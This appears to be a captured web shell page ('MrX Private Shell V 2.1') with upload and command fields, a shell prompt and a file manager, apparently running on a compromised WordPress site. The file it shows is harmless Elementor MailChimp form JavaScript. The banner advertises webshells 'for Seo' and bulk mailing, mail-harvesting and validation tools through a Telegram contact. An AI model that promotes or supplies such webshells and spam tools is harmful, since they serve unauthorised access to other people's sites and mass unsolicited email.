__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
// noinspection JSUnresolvedReference

"use strict";
(($) => {
    $(window).on("elementor/frontend/init", () => {
        elementorFrontend.hooks.addAction(
            "frontend/element_ready/king-addons-mailchimp.default",
            ($scope) => {
                elementorFrontend.elementsHandler.addHandler(
                    elementorModules.frontend.handlers.Base.extend({
                        onInit() {
                            const $form = this.$element.find("form");

                            $form.on("submit", function (e) {
                                e.preventDefault();

                                const $btn = $(this).find("button");
                                const originalText = $btn.text();
                                $btn.text($btn.data("loading"));

                                $.ajax({
                                    url: KingAddonsMailChimpData.ajaxUrl,
                                    type: "POST",
                                    data: {
                                        action: "king_addons_mailchimp_subscribe",
                                        nonce: KingAddonsMailChimpData.nonce,
                                        fields: $(this).serialize(),
                                        listId: $form.data("list-id"),
                                    },
                                    success: (data) => {
                                        if ($form.data("clear-fields") === "yes") {
                                            $form.find("input").val("");
                                        }

                                        $btn.text(originalText);

                                        if (data.status === "subscribed") {
                                            $scope.find(".king-addons-mailchimp-success-message").show();
                                        } else {
                                            $scope.find(".king-addons-mailchimp-error-message").show();
                                        }

                                        $scope.find(".king-addons-mailchimp-message").fadeIn();
                                    },
                                });
                            });
                        },
                    }),
                    {$element: $scope}
                );
            }
        );
    });
})(jQuery);

Filemanager

Name Type Size Permission Actions
MailChimp.php File 51.36 KB 0640
MailChimp_Ajax.php File 2.55 KB 0640
script.js File 2.35 KB 0640
style.css File 1.78 KB 0640
Filemanager